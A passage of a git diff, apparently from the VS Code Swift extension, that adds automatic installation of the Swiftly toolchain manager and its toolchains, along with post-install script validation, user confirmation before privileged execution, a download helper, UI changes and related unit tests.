SwiftLogger, + branch?: string + ): Promise { + if (!this.isSupported()) { + return []; + } + + const version = await Swiftly.version(logger); + if (!version) { + logger?.warn("Swiftly is not installed"); + return []; + } + + if (!(await Swiftly.supportsJsonOutput(logger))) { + logger?.warn("Swiftly version does not support JSON output for list-available"); + return []; + } + + try { + const args = ["list-available", "--format=json"]; + if (branch) { + args.push(branch); + } + const { stdout: availableStdout } = await execFile("swiftly", args); + return ListAvailableResult.parse(JSON.parse(availableStdout)).toolchains; + } catch (error) { + logger?.error(`Failed to retrieve available Swiftly toolchains: ${error}`); + return []; + } + } + + /** + * Installs a toolchain via swiftly with optional progress tracking + * + * @param version The toolchain version to install + * @param progressCallback Optional callback that receives progress data as JSON objects + * @param logger Optional logger for error reporting + */ + public static async installToolchain( + version: string, + progressCallback?: (progressData: SwiftlyProgressData) => void, + logger?: SwiftLogger + ): Promise { + if (!this.isSupported()) { + throw new Error("Swiftly is not supported on this platform"); + } + + logger?.info(`Installing toolchain ${version} via swiftly`); + + const tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "vscode-swift-")); + const postInstallFilePath = path.join(tmpDir, `post-install-${version}.sh`); + + // Check if Swiftly version supports --progress-file option (requires version >= 1.1.0) + const swiftlyVersion = await this.version(logger); + const supportsProgressFile = + swiftlyVersion?.isGreaterThanOrEqual(new Version(1, 1, 0)) ?? false; + + let progressPipePath: string | undefined; + let progressPromise: Promise | undefined; + + if (progressCallback && supportsProgressFile) { + progressPipePath = path.join(tmpDir, `progress-${version}.pipe`); + + await execFile("mkfifo", [progressPipePath]); + + progressPromise = new Promise((resolve, reject) => { + const rl = readline.createInterface({ + input: fsSync.createReadStream(progressPipePath!), + crlfDelay: Infinity, + }); + + rl.on("line", (line: string) => { + try { + const progressData = JSON.parse(line.trim()) as SwiftlyProgressData; + progressCallback(progressData); + } catch (err) { + logger?.error(`Failed to parse progress line: ${err}`); + } + }); + + rl.on("close", () => { + resolve(); + }); + + rl.on("error", err => { + reject(err); + }); + }); + } + + const installArgs = [ + "install", + version, + "--use", + "--assume-yes", + "--post-install-file", + postInstallFilePath, + ]; + + // Only add --progress-file if the Swiftly version supports it + if (progressPipePath && supportsProgressFile) { + installArgs.push("--progress-file", progressPipePath); + } + + try { + logger?.info(`Running swiftly with args: ${installArgs.join(" ")}`); + const installPromise = execFile("swiftly", installArgs); + + if (progressPromise) { + await Promise.all([installPromise, progressPromise]); + } else { + await installPromise; + } + + if (process.platform === "linux") { + await this.handlePostInstallFile(postInstallFilePath, version, logger); + } + + logger?.info(`Successfully installed Swift toolchain ${version}`); + } catch (error) { + const errorMsg = error instanceof Error ? error.message : String(error); + logger?.error(`Failed to install Swift toolchain ${version}: ${errorMsg}`); + + // Show user-friendly error message + void vscode.window.showErrorMessage( + `Failed to install Swift ${version}: ${errorMsg}. Please check the output channel for details.` + ); + + throw error; + } finally { + // Clean up temporary files + const cleanup = async () => { + if (progressPipePath) { + try { + await fs.unlink(progressPipePath); + logger?.debug(`Cleaned up progress pipe: ${progressPipePath}`); + } catch (cleanupError) { + logger?.debug(`Could not clean up progress pipe: ${cleanupError}`); + } + } + try { + await fs.unlink(postInstallFilePath); + logger?.debug(`Cleaned up post-install file: ${postInstallFilePath}`); + } catch (cleanupError) { + logger?.debug(`Could not clean up post-install file: ${cleanupError}`); + } + try { + await fs.rmdir(tmpDir); + logger?.debug(`Cleaned up temp directory: ${tmpDir}`); + } catch (cleanupError) { + logger?.debug(`Could not clean up temp directory: ${cleanupError}`); + } + }; + + await cleanup(); + } + } + + /** + * Handles post-install file created by swiftly installation (Linux only) + * + * @param postInstallFilePath Path to the post-install script + * @param version The toolchain version being installed + * @param logger Optional logger for error reporting + */ + private static async handlePostInstallFile( + postInstallFilePath: string, + version: string, + logger?: SwiftLogger + ): Promise { + try { + await fs.access(postInstallFilePath); + } catch { + logger?.info(`No post-install steps required for toolchain ${version}`); + return; + } + + logger?.info(`Post-install file found for toolchain ${version}`); + + const validation = await this.validatePostInstallScript(postInstallFilePath, logger); + + if (!validation.isValid) { + const errorMessage = `Post-install script contains unsafe commands. Invalid commands: ${validation.invalidCommands?.join(", ")}`; + logger?.error(errorMessage); + void vscode.window.showErrorMessage( + `Installation of Swift ${version} requires additional system packages, but the post-install script contains commands that are not allowed for security reasons.` + ); + return; + } + + const shouldExecute = await this.showPostInstallConfirmation(version, validation, logger); + + if (shouldExecute) { + await this.executePostInstallScript(postInstallFilePath, version, logger); + } else { + logger?.warn(`Swift ${version} post-install script execution cancelled by user`); + void vscode.window.showWarningMessage( + `Swift ${version} installation is incomplete. You may need to manually install additional system packages.` + ); + } + } + + /** + * Validates post-install script commands against allow-list patterns. + * Supports apt-get and yum package managers only. + * + * @param postInstallFilePath Path to the post-install script + * @param logger Optional logger for error reporting + * @returns Validation result with command summary + */ + private static async validatePostInstallScript( + postInstallFilePath: string, + logger?: SwiftLogger + ): Promise { + try { + const scriptContent = await fs.readFile(postInstallFilePath, "utf-8"); + const lines = scriptContent + .split("\n") + .filter(line => line.trim() && !line.trim().startsWith("#")); + + const allowedPatterns = [ + /^apt-get\s+-y\s+install(\s+[A-Za-z0-9\-_.+]+)+\s*$/, // apt-get -y install packages + /^yum\s+install(\s+[A-Za-z0-9\-_.+]+)+\s*$/, // yum install packages + /^\s*$|^#.*$/, // empty lines and comments + ]; + + const invalidCommands: string[] = []; + const packageInstallCommands: string[] = []; + + for (const line of lines) { + const trimmedLine = line.trim(); + if (!trimmedLine) { + continue; + } + + const isValid = allowedPatterns.some(pattern => pattern.test(trimmedLine)); + + if (!isValid) { + invalidCommands.push(trimmedLine); + } else if (trimmedLine.includes("install")) { + packageInstallCommands.push(trimmedLine); + } + } + + const isValid = invalidCommands.length === 0; + + let summary = "The script will perform the following actions:\n"; + if (packageInstallCommands.length > 0) { + summary += `• Install system packages using package manager\n`; + summary += `• Commands: ${packageInstallCommands.join("; ")}`; + } else { + summary += "• No package installations detected"; + } + + return { + isValid, + summary, + invalidCommands: invalidCommands.length > 0 ? invalidCommands : undefined, + }; + } catch (error) { + logger?.error(`Failed to validate post-install script: ${error}`); + return { + isValid: false, + summary: "Failed to read post-install script", + invalidCommands: ["Unable to read script file"], + }; + } + } + + /** + * Shows confirmation dialog to user for executing post-install script + * + * @param version The toolchain version being installed + * @param validation The validation result + * @param logger + * @returns Promise resolving to user's decision + */ + private static async showPostInstallConfirmation( + version: string, + validation: PostInstallValidationResult, + logger?: SwiftLogger + ): Promise { + const summaryLines = validation.summary.split("\n"); + const firstTwoLines = summaryLines.slice(0, 2).join("\n"); + + const message = + `Swift ${version} installation requires additional system packages to be installed. ` + + `This will require administrator privileges.\n\n${firstTwoLines}\n\n` + + `Do you want to proceed with running the post-install script?`; + + logger?.warn( + `User confirmation required to execute post-install script for Swift ${version} installation, + this requires ${firstTwoLines} permissions.` + ); + const choice = await vscode.window.showWarningMessage( + message, + { modal: true }, + "Execute Script", + "Cancel" + ); + + return choice === "Execute Script"; + } + + /** + * Executes post-install script with elevated permissions (Linux only) + * + * @param postInstallFilePath Path to the post-install script + * @param version The toolchain version being installed + * @param logger Optional logger for error reporting + */ + private static async executePostInstallScript( + postInstallFilePath: string, + version: string, + logger?: SwiftLogger + ): Promise { + logger?.info(`Executing post-install script for toolchain ${version}`); + + const outputChannel = vscode.window.createOutputChannel(`Swift ${version} Post-Install`); + + try { + outputChannel.show(true); + outputChannel.appendLine(`Executing post-install script for Swift ${version}...`); + outputChannel.appendLine(`Script location: ${postInstallFilePath}`); + outputChannel.appendLine(""); + + await execFile("chmod", ["+x", postInstallFilePath]); + + const command = "pkexec"; + const args = [postInstallFilePath]; + + outputChannel.appendLine(`Executing: ${command} ${args.join(" ")}`); + outputChannel.appendLine(""); + + const outputStream = new Stream.Writable({ + write(chunk, _encoding, callback) { + const text = chunk.toString(); + outputChannel.append(text); + callback(); + }, + }); + + await execFileStreamOutput(command, args, outputStream, outputStream, null, {}); + + outputChannel.appendLine(""); + outputChannel.appendLine( + `Post-install script completed successfully for Swift ${version}` + ); + + void vscode.window.showInformationMessage( + `Swift ${version} post-install script executed successfully. Additional system packages have been installed.` + ); + } catch (error) { + const errorMsg = `Failed to execute post-install script: ${error}`; + logger?.error(errorMsg); + outputChannel.appendLine(""); + outputChannel.appendLine(`Error: ${errorMsg}`); + + void vscode.window.showErrorMessage( + `Failed to execute post-install script for Swift ${version}. Check the output channel for details.` + ); + } + } + /** * Reads the Swiftly configuration file, if it exists. * @@ -248,4 +684,321 @@ export class Swiftly { return false; } } + + /** + * Detects if Swiftly is missing by attempting to run swiftly --version + * + * @param logger Optional logger for error reporting + * @returns true if Swiftly is missing (error code 127), false otherwise + */ + public static async isMissing(logger?: SwiftLogger): Promise { + if (!this.isSupported()) { + return false; + } + try { + await execFile("swiftly", ["--version"]); + return false; + } catch (error: unknown) { + if ((error as { code?: number }).code === 127) { + logger?.info("Swiftly not found (error code 127)"); + return true; + } + logger?.error(`Error checking Swiftly: ${error}`); + return false; + } + } + + /** + * Gets the install URL for automated Swiftly installation based on platform + * + * @returns The install URL + */ + public static getInstallUrl(): string { + if (process.platform === "linux") { + // Determine architecture dynamically + const arch = process.arch === "arm64" ? "arm64" : "x86_64"; + return `https://download.swift.org/swiftly/linux/swiftly-${arch}.tar.gz`; + } else if (process.platform === "darwin") { + return "https://download.swift.org/swiftly/darwin/swiftly.pkg"; + } + throw new Error(`Unsupported platform: ${process.platform}`); + } + + /** + * Installs Swiftly automatically using the official installation method + * + * @param logger Optional logger for error reporting + * @returns Promise that resolves when installation is complete + */ + public static async installSwiftly(logger?: SwiftLogger): Promise { + if (!this.isSupported()) { + throw new Error("Swiftly is not supported on this platform"); + } + + logger?.info("Starting Swiftly installation using official method"); + + return vscode.window.withProgress( + { + location: vscode.ProgressLocation.Notification, + title: "Installing Swiftly", + cancellable: false, + }, + async progress => { + let tmpDir: string | undefined; + try { + progress.report({ increment: 10, message: "Downloading Swiftly..." }); + + const installUrl = this.getInstallUrl(); + logger?.info(`Install URL: ${installUrl}`); + + tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "vscode-swift-swiftly-")); + const filename = path.basename(installUrl); + const downloadPath = path.join(tmpDir, filename); + + await downloadFile(installUrl, downloadPath); + + progress.report({ increment: 30, message: "Installing Swiftly..." }); + + const outputChannel = vscode.window.createOutputChannel("Swiftly Installation"); + outputChannel.show(true); + outputChannel.appendLine("Installing Swiftly..."); + outputChannel.appendLine(""); + + const outputStream = new Stream.Writable({ + write(chunk, _encoding, callback) { + const text = chunk.toString(); + outputChannel.append(text); + callback(); + }, + }); + + if (process.platform === "linux") { + // Extract tar.gz file + await execFileStreamOutput( + "tar", + ["-zxf", downloadPath, "-C", tmpDir], + outputStream, + outputStream, + null, + {} + ); + + // Move binary to appropriate location + const binDir = path.join(os.homedir(), ".local", "bin"); + await fs.mkdir(binDir, { recursive: true }); + const swiftlyBin = path.join(tmpDir, "swiftly"); + const targetPath = path.join(binDir, "swiftly"); + await fs.copyFile(swiftlyBin, targetPath); + await fs.chmod(targetPath, 0o755); + + outputChannel.appendLine(`Swiftly binary installed to ${targetPath}`); + } else if (process.platform === "darwin") { + // Install pkg file + await execFileStreamOutput( + "installer", + ["-pkg", downloadPath, "-target", "CurrentUserHomeDirectory"], + outputStream, + outputStream, + null, + {} + ); + outputChannel.appendLine("Swiftly pkg installer completed"); + } + + progress.report({ increment: 30, message: "Initializing Swiftly..." }); + + // Run swiftly init + await this.initializeSwiftly(logger); + + progress.report({ increment: 20, message: "Installation complete!" }); + + outputChannel.appendLine(""); + outputChannel.appendLine("Swiftly installation completed successfully"); + + // Clean up temp directory + await fs.rm(tmpDir, { recursive: true, force: true }); + + logger?.info("Swiftly installation completed successfully"); + } catch (error) { + const errorMsg = error instanceof Error ? error.message : String(error); + logger?.error(`Swiftly installation failed: ${errorMsg}`); + + // Show user-friendly error message + void vscode.window.showErrorMessage( + `Failed to install Swiftly: ${errorMsg}. Please check the output channel for details.` + ); + + // Clean up temp directory on error + try { + if (tmpDir) { + await fs.rm(tmpDir, { recursive: true, force: true }); + } + } catch (cleanupError) { + logger?.error(`Failed to clean up temp directory: ${cleanupError}`); + } + + throw error; + } + } + ); + } + + /** + * Initializes Swiftly after installation + * + * @param logger Optional logger for error reporting + */ + private static async initializeSwiftly(logger?: SwiftLogger): Promise { + logger?.info("Initializing Swiftly"); + + const outputChannel = vscode.window.createOutputChannel("Swiftly Initialization"); + outputChannel.show(true); + outputChannel.appendLine("Initializing Swiftly..."); + + try { + // Determine the swiftly binary path based on platform + let swiftlyPath: string; + if (process.platform === "linux") { + const binDir = path.join(os.homedir(), ".local", "bin"); + swiftlyPath = path.join(binDir, "swiftly"); + } else if (process.platform === "darwin") { + const homeDir = path.join(os.homedir(), ".swiftly"); + swiftlyPath = path.join(homeDir, "bin", "swiftly"); + } else { + throw new Error(`Unsupported platform: ${process.platform}`); + } + + const { stdout, stderr } = await execFile(swiftlyPath, [ + "init", + "--verbose", + "--assume-yes", + "--skip-install", + ]); + + outputChannel.appendLine(stdout); + if (stderr) { + outputChannel.appendLine("Stderr:"); + outputChannel.appendLine(stderr); + } + + outputChannel.appendLine("Swiftly initialization completed successfully"); + } catch (error) { + logger?.error(`Failed to initialize Swiftly: ${error}`); + outputChannel.appendLine(`Error: ${error}`); + throw error; + } + } + + /** + * Installs Swift toolchain using Swiftly after it has been installed + * + * @param version The Swift version to install (defaults to "latest") + * @param logger Optional logger for error reporting + */ + public static async installSwiftWithSwiftly( + version: string = "latest", + logger?: SwiftLogger + ): Promise { + logger?.info(`Installing Swift ${version} using Swiftly`); + + return vscode.window.withProgress( + { + location: vscode.ProgressLocation.Notification, + title: `Installing Swift ${version}`, + cancellable: false, + }, + async progress => { + try { + progress.report({ increment: 10, message: "Preparing installation..." }); + + const tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "vscode-swift-")); + progress.report({ increment: 10, message: `Installing Swift ${version}...` }); + + let lastProgressTime = Date.now(); + let totalProgress = 20; // Already used 20% for preparation + + await this.installToolchain( + version, + progressData => { + const now = Date.now(); + // Only update progress every 2 seconds to avoid too frequent updates + if (progressData.step?.text && now - lastProgressTime > 2000) { + const remainingProgress = 70; // Leave 10% for completion + const incrementAmount = progressData.step.percent + ? Math.min(progressData.step.percent / 10, 5) + : Math.min(remainingProgress - totalProgress, 5); + + if (totalProgress < 70) { + totalProgress += incrementAmount; + progress.report({ + increment: incrementAmount, + message: progressData.step.text, + }); + lastProgressTime = now; + } + } + }, + logger + ); + + progress.report({ + increment: 100 - totalProgress, + message: "Installation complete!", + }); + + // Clean up temp directory + await fs.rm(tmpDir, { recursive: true, force: true }); + } catch (error) { + logger?.error(`Failed to install Swift ${version}: ${error}`); + throw error; + } + } + ); + } + + /** + * Shows a prompt to install Swiftly and handles the user's choice + * + * @param logger Optional logger for error reporting + * @returns Promise that resolves when the user makes a choice + */ + public static async promptInstallSwiftly(logger?: SwiftLogger): Promise { + const message = + "Swiftly (Swift toolchain manager) is not installed. Would you like to install it automatically? This will allow you to easily manage Swift versions."; + + const choice = await vscode.window.showInformationMessage( + message, + { modal: true }, + "Install Swiftly", + "Cancel" + ); + + if (choice === "Install Swiftly") { + try { + await this.installSwiftly(logger); + await this.installSwiftWithSwiftly("latest", logger); + + void vscode.window.showInformationMessage( + "Swiftly and Swift have been installed successfully! Please restart any terminal windows to use the new toolchain." + ); + + // Prompt to restart extension + const restartChoice = await vscode.window.showInformationMessage( + "The Swift extension should be reloaded to use the new toolchain.", + "Reload Extension", + "Later" + ); + + if (restartChoice === "Reload Extension") { + await vscode.commands.executeCommand("workbench.action.reloadWindow"); + } + } catch (error) { + logger?.error(`Failed to install Swiftly: ${error}`); + void vscode.window.showErrorMessage( + `Failed to install Swiftly: ${error instanceof Error ? error.message : String(error)}` + ); + } + } + // If "Cancel" or no choice, do nothing + } } diff --git a/src/ui/ToolchainSelection.ts b/src/ui/ToolchainSelection.ts index e42b4f410..479c308ab 100644 --- a/src/ui/ToolchainSelection.ts +++ b/src/ui/ToolchainSelection.ts @@ -73,7 +73,7 @@ export async function selectToolchainFolder() { * Displays an error notification to the user that toolchain discovery failed. */ export async function showToolchainError(): Promise { - let selected: "Remove From Settings" | "Select Toolchain" | undefined; + let selected: "Remove From Settings" | "Select Toolchain" | "Install Swiftly" | undefined; if (configuration.path) { selected = await vscode.window.showErrorMessage( `The Swift executable at "${configuration.path}" either could not be found or failed to launch. Please select a new toolchain.`, @@ -81,16 +81,28 @@ export async function showToolchainError(): Promise { "Select Toolchain" ); } else { - selected = await vscode.window.showErrorMessage( - "Unable to automatically discover your Swift toolchain. Either install a toolchain from Swift.org or provide the path to an existing toolchain.", - "Select Toolchain" - ); + const isSwiftlyMissing = Swiftly.isSupported() && (await Swiftly.isMissing()); + + if (isSwiftlyMissing) { + selected = await vscode.window.showErrorMessage( + "Unable to automatically discover your Swift toolchain. Would you like to install Swiftly (Swift toolchain manager) to easily manage Swift versions, or manually select a toolchain?", + "Install Swiftly", + "Select Toolchain" + ); + } else { + selected = await vscode.window.showErrorMessage( + "Unable to automatically discover your Swift toolchain. Either install a toolchain from Swift.org or provide the path to an existing toolchain.", + "Select Toolchain" + ); + } } if (selected === "Remove From Settings") { await removeToolchainPath(); } else if (selected === "Select Toolchain") { await selectToolchain(); + } else if (selected === "Install Swiftly") { + await Swiftly.promptInstallSwiftly(); } } @@ -150,8 +162,10 @@ type SelectToolchainItem = SwiftToolchainItem | ActionItem | SeparatorItem; /** * Retrieves all {@link SelectToolchainItem} that are available on the system. * - * @param ctx the {@link WorkspaceContext} * @returns an array of {@link SelectToolchainItem} + * @param activeToolchain + * @param logger + * @param cwd */ async function getQuickPickItems( activeToolchain: SwiftToolchain | undefined, @@ -159,31 +173,28 @@ async function getQuickPickItems( cwd?: vscode.Uri ): Promise { // Find any Xcode installations on the system - const xcodes = (await SwiftToolchain.findXcodeInstalls()) - .reverse() - .map(xcodePath => { - const toolchainPath = path.join( - xcodePath, - "Contents", - "Developer", - "Toolchains", - "XcodeDefault.xctoolchain", - "usr" - ); - return { - type: "toolchain", - category: "xcode", - label: path.basename(xcodePath, ".app"), - detail: xcodePath, - xcodePath, - toolchainPath, - swiftFolderPath: path.join(toolchainPath, "bin"), - }; - }); + const xcodes = (await SwiftToolchain.findXcodeInstalls()).map(xcodePath => { + const toolchainPath = path.join( + xcodePath, + "Contents", + "Developer", + "Toolchains", + "XcodeDefault.xctoolchain", + "usr" + ); + return { + type: "toolchain", + category: "xcode", + label: path.basename(xcodePath, ".app"), + detail: xcodePath, + xcodePath, + toolchainPath, + swiftFolderPath: path.join(toolchainPath, "bin"), + }; + }); // Find any public Swift toolchains on the system - const toolchains = (await SwiftToolchain.getToolchainInstalls()) - .reverse() - .map(toolchainPath => { + const toolchains = (await SwiftToolchain.getToolchainInstalls()).map( + toolchainPath => { const result: SwiftToolchainItem = { type: "toolchain", category: "public", @@ -201,52 +212,57 @@ async function getQuickPickItems( }; } return result; - }); + } + ); + + // Sort toolchains by label (alphabetically) + const sortedToolchains = toolchains.sort((a, b) => b.label.localeCompare(a.label)); + // Find any Swift toolchains installed via Swiftly - const swiftlyToolchains = (await Swiftly.listAvailableToolchains(logger)) - .reverse() - .map(toolchainPath => ({ - type: "toolchain", - label: path.basename(toolchainPath), - category: "swiftly", - version: path.basename(toolchainPath), - onDidSelect: async () => { - try { - await Swiftly.use(toolchainPath); - void showReloadExtensionNotification( - "Changing the Swift path requires Visual Studio Code be reloaded." - ); - } catch (error) { - void vscode.window.showErrorMessage( - `Failed to switch Swiftly toolchain: ${error}` - ); - } - }, - })); - // Mark which toolchain is being actively used + const swiftlyToolchains = ( + await Swiftly.listAvailableToolchains(logger) + ).map(toolchainPath => ({ + type: "toolchain", + label: path.basename(toolchainPath), + category: "swiftly", + version: path.basename(toolchainPath), + onDidSelect: async () => { + try { + await Swiftly.use(toolchainPath); + void showReloadExtensionNotification( + "Changing the Swift path requires Visual Studio Code be reloaded." + ); + } catch (error) { + void vscode.window.showErrorMessage(`Failed to switch Swiftly toolchain: ${error}`); + } + }, + })); + if (activeToolchain) { const currentSwiftlyVersion = activeToolchain.isSwiftlyManaged ? await Swiftly.inUseVersion("swiftly", cwd) : undefined; - const toolchainInUse = [...xcodes, ...toolchains, ...swiftlyToolchains].find(toolchain => { - if (currentSwiftlyVersion) { - if (toolchain.category !== "swiftly") { - return false; - } + const toolchainInUse = [...xcodes, ...sortedToolchains, ...swiftlyToolchains].find( + toolchain => { + if (currentSwiftlyVersion) { + if (toolchain.category !== "swiftly") { + return false; + } - // For Swiftly toolchains, check if the label matches the active toolchain version - return currentSwiftlyVersion === toolchain.label; + // For Swiftly toolchains, check if the label matches the active toolchain version + return currentSwiftlyVersion === toolchain.label; + } + // For non-Swiftly toolchains, check if the toolchain path matches + return ( + (toolchain as PublicSwiftToolchainItem | XcodeToolchainItem).toolchainPath === + activeToolchain.toolchainPath + ); } - // For non-Swiftly toolchains, check if the toolchain path matches - return ( - (toolchain as PublicSwiftToolchainItem | XcodeToolchainItem).toolchainPath === - activeToolchain.toolchainPath - ); - }); + ); if (toolchainInUse) { toolchainInUse.description = "$(check) in use"; } else { - toolchains.splice(0, 0, { + sortedToolchains.splice(0, 0, { type: "toolchain", category: "public", label: `Swift ${activeToolchain.swiftVersion.toString()}`, @@ -263,11 +279,35 @@ async function getQuickPickItems( const platformName = process.platform === "linux" ? "Linux" : "macOS"; actionItems.push({ type: "action", - label: "$(swift-icon) Install Swiftly for toolchain management...", - detail: `Install https://swiftlang.github.io/swiftly to manage your toolchains on ${platformName}`, - run: installSwiftly, + label: "$(cloud-download) Install Swiftly automatically", + detail: `Automatically install and configure Swiftly (Swift toolchain manager) on ${platformName}`, + run: async () => { + await Swiftly.promptInstallSwiftly(); + }, }); } + + // Add install Swiftly toolchain actions if Swiftly is installed + if (Swiftly.isSupported() && (await Swiftly.isInstalled())) { + actionItems.push({ + type: "action", + label: "$(cloud-download) Install Swiftly toolchain...", + detail: "Install a Swift stable release toolchain via Swiftly", + run: async () => { + await vscode.commands.executeCommand(Commands.INSTALL_SWIFTLY_TOOLCHAIN); + }, + }); + + actionItems.push({ + type: "action", + label: "$(beaker) Install Swiftly snapshot toolchain...", + detail: "Install a Swift snapshot toolchain via Swiftly from development builds", + run: async () => { + await vscode.commands.executeCommand(Commands.INSTALL_SWIFTLY_SNAPSHOT_TOOLCHAIN); + }, + }); + } + actionItems.push({ type: "action", label: "$(cloud-download) Download from Swift.org...", @@ -282,7 +322,9 @@ async function getQuickPickItems( }); return [ ...(xcodes.length > 0 ? [new SeparatorItem("Xcode"), ...xcodes] : []), - ...(toolchains.length > 0 ? [new SeparatorItem("toolchains"), ...toolchains] : []), + ...(sortedToolchains.length > 0 + ? [new SeparatorItem("toolchains"), ...sortedToolchains] + : []), ...(swiftlyToolchains.length > 0 ? [new SeparatorItem("swiftly"), ...swiftlyToolchains] : []), @@ -296,6 +338,8 @@ async function getQuickPickItems( * with the user's selection. * * @param activeToolchain the {@link WorkspaceContext} + * @param logger + * @param cwd */ export async function showToolchainSelectionQuickPick( activeToolchain: SwiftToolchain | undefined, @@ -345,17 +389,11 @@ export async function showToolchainSelectionQuickPick( // Update the toolchain path` let swiftPath: string | undefined; - // Handle Swiftly toolchains specially if (selected.category === "swiftly") { - try { - swiftPath = undefined; - } catch (error) { - void vscode.window.showErrorMessage(`Failed to switch Swiftly toolchain: ${error}`); - return; - } + swiftPath = undefined; } else { // For non-Swiftly toolchains, use the swiftFolderPath - swiftPath = selected.swiftFolderPath; + swiftPath = (selected as PublicSwiftToolchainItem | XcodeToolchainItem).swiftFolderPath; } const isUpdated = await setToolchainPath(swiftPath, developerDir); diff --git a/src/utilities/utilities.ts b/src/utilities/utilities.ts index fde6f2e23..59bdcc8ff 100644 --- a/src/utilities/utilities.ts +++ b/src/utilities/utilities.ts @@ -16,6 +16,9 @@ import * as vscode from "vscode"; import * as cp from "child_process"; import * as path from "path"; import * as Stream from "stream"; +import * as https from "https"; +import * as fsSync from "fs"; +import * as tar from "tar"; import configuration from "../configuration"; import { FolderContext } from "../FolderContext"; import { SwiftToolchain } from "../toolchain/toolchain"; @@ -443,3 +446,71 @@ export function destructuredPromise(): { return { promise: p, resolve: resolve!, reject: reject! }; } /* eslint-enable @typescript-eslint/no-explicit-any */ + +/** + * Downloads a file from a URL + * + * @param url The URL to download from + * @param destination The local file path to save to + * @returns Promise that resolves when download is complete + */ +export function downloadFile(url: string, destination: string): Promise { + return new Promise((resolve, reject) => { + const file = fsSync.createWriteStream(destination); + const options = { + headers: { + "User-Agent": "vscode-swift-extension/1.0", + Accept: "*/*", + }, + }; + https + .get(url, options, response => { + if (response.statusCode === 302 || response.statusCode === 301) { + if (response.headers.location) { + return downloadFile(response.headers.location, destination) + .then(resolve) + .catch(reject); + } + } + + if (response.statusCode !== 200) { + reject(new Error(`HTTP ${response.statusCode}: ${response.statusMessage}`)); + return; + } + + response.pipe(file); + + file.on("finish", () => { + file.close(); + resolve(); + }); + + file.on("error", err => { + fsSync.unlink(destination, () => {}); // Delete partial file + reject(err); + }); + + response.on("error", err => { + fsSync.unlink(destination, () => {}); // Delete partial file + reject(err); + }); + }) + .on("error", err => { + reject(err); + }); + }); +} + +/** + * Extracts a tar.gz file + * + * @param tarPath Path to the tar.gz file + * @param extractTo Directory to extract to + * @returns Promise that resolves when extraction is complete + */ +export async function extractTarGz(tarPath: string, extractTo: string): Promise { + return tar.extract({ + file: tarPath, + cwd: extractTo, + }); +} diff --git a/test/unit-tests/toolchain/SelectedXcodeWatcher.test.ts b/test/unit-tests/toolchain/SelectedXcodeWatcher.test.ts index e6a60d35d..99d9c0da7 100644 --- a/test/unit-tests/toolchain/SelectedXcodeWatcher.test.ts +++ b/test/unit-tests/toolchain/SelectedXcodeWatcher.test.ts @@ -22,10 +22,12 @@ import { mockGlobalObject, mockGlobalValue, mockObject, + mockGlobalModule, } from "../../MockUtils"; import configuration from "../../../src/configuration"; import { Commands } from "../../../src/commands"; import { SwiftLogger } from "../../../src/logging/SwiftLogger"; +import * as ReloadExtension from "../../../src/ui/ReloadExtension"; suite("Selected Xcode Watcher", () => { const mockedVSCodeWindow = mockGlobalObject(vscode, "window"); @@ -35,6 +37,7 @@ suite("Selected Xcode Watcher", () => { const mockWorkspace = mockGlobalObject(vscode, "workspace"); const mockCommands = mockGlobalObject(vscode, "commands"); let mockSwiftConfig: MockedObject; + const mockReloadExtension = mockGlobalModule(ReloadExtension); setup(function () { // Xcode only exists on macOS, so the SelectedXcodeWatcher is macOS-only. @@ -48,12 +51,17 @@ suite("Selected Xcode Watcher", () => { }); pathConfig.setValue(""); + envConfig.setValue({}); mockSwiftConfig = mockObject({ inspect: mockFn(), update: mockFn(), }); mockWorkspace.getConfiguration.returns(instance(mockSwiftConfig)); + + mockReloadExtension.showReloadExtensionNotification.callsFake(async (message: string) => { + return vscode.window.showWarningMessage(message, "Reload Extensions"); + }); }); async function run(symLinksOnCallback: (string | undefined)[]) { diff --git a/test/unit-tests/toolchain/swiftly.test.ts b/test/unit-tests/toolchain/swiftly.test.ts index 41e11de10..6e4479332 100644 --- a/test/unit-tests/toolchain/swiftly.test.ts +++ b/test/unit-tests/toolchain/swiftly.test.ts @@ -13,18 +13,52 @@ //===----------------------------------------------------------------------===// import { expect } from "chai"; +import * as mockFS from "mock-fs"; +import * as os from "os"; +import { match } from "sinon"; import { Swiftly } from "../../../src/toolchain/swiftly"; import * as utilities from "../../../src/utilities/utilities"; -import * as shell from "../../../src/utilities/shell"; -import { mockGlobalModule, mockGlobalValue } from "../../MockUtils"; +import { mockGlobalModule, mockGlobalValue, mockGlobalObject } from "../../MockUtils"; +import * as vscode from "vscode"; +import * as fs from "fs/promises"; +import * as SwiftOutputChannelModule from "../../../src/logging/SwiftOutputChannel"; suite("Swiftly Unit Tests", () => { const mockUtilities = mockGlobalModule(utilities); - const mockShell = mockGlobalModule(shell); const mockedPlatform = mockGlobalValue(process, "platform"); + const mockedEnv = mockGlobalValue(process, "env"); + const mockSwiftOutputChannelModule = mockGlobalModule(SwiftOutputChannelModule); + const mockOS = mockGlobalModule(os); setup(() => { + mockUtilities.execFile.reset(); + mockUtilities.execFileStreamOutput.reset(); + mockSwiftOutputChannelModule.SwiftOutputChannel.reset(); + mockOS.tmpdir.reset(); + + // Mock os.tmpdir() to return a valid temp directory path for Windows compatibility + mockOS.tmpdir.returns(process.platform === "win32" ? "C:\\temp" : "/tmp"); + + // Mock SwiftOutputChannel constructor to return a basic mock + mockSwiftOutputChannelModule.SwiftOutputChannel.callsFake( + () => + ({ + show: () => {}, + appendLine: () => {}, + append: () => {}, + }) as any + ); + mockedPlatform.setValue("darwin"); + mockedEnv.setValue({}); + }); + + teardown(() => { + try { + mockFS.restore(); + } catch { + // Ignore if mockFS is not active + } }); suite("getSwiftlyToolchainInstalls", () => { @@ -105,32 +139,688 @@ suite("Swiftly Unit Tests", () => { }); }); - suite("isInstalled", () => { - test("should return true when swiftly is found", async () => { - mockShell.findBinaryPath.withArgs("swiftly").resolves("/usr/local/bin/swiftly"); + suite("installToolchain", () => { + test("should throw error on unsupported platform", async () => { + mockedPlatform.setValue("win32"); + + await expect( + Swiftly.installToolchain("6.0.0", undefined) + ).to.eventually.be.rejectedWith("Swiftly is not supported on this platform"); + expect(mockUtilities.execFile).to.not.have.been.called; + }); + + test("should install toolchain successfully on macOS without progress callback", async () => { + mockedPlatform.setValue("darwin"); + mockUtilities.execFile.withArgs("swiftly").resolves({ stdout: "", stderr: "" }); + + const tmpDir = os.tmpdir(); + mockFS.restore(); + mockFS({ + [tmpDir]: {}, + }); + + await Swiftly.installToolchain("6.0.0", 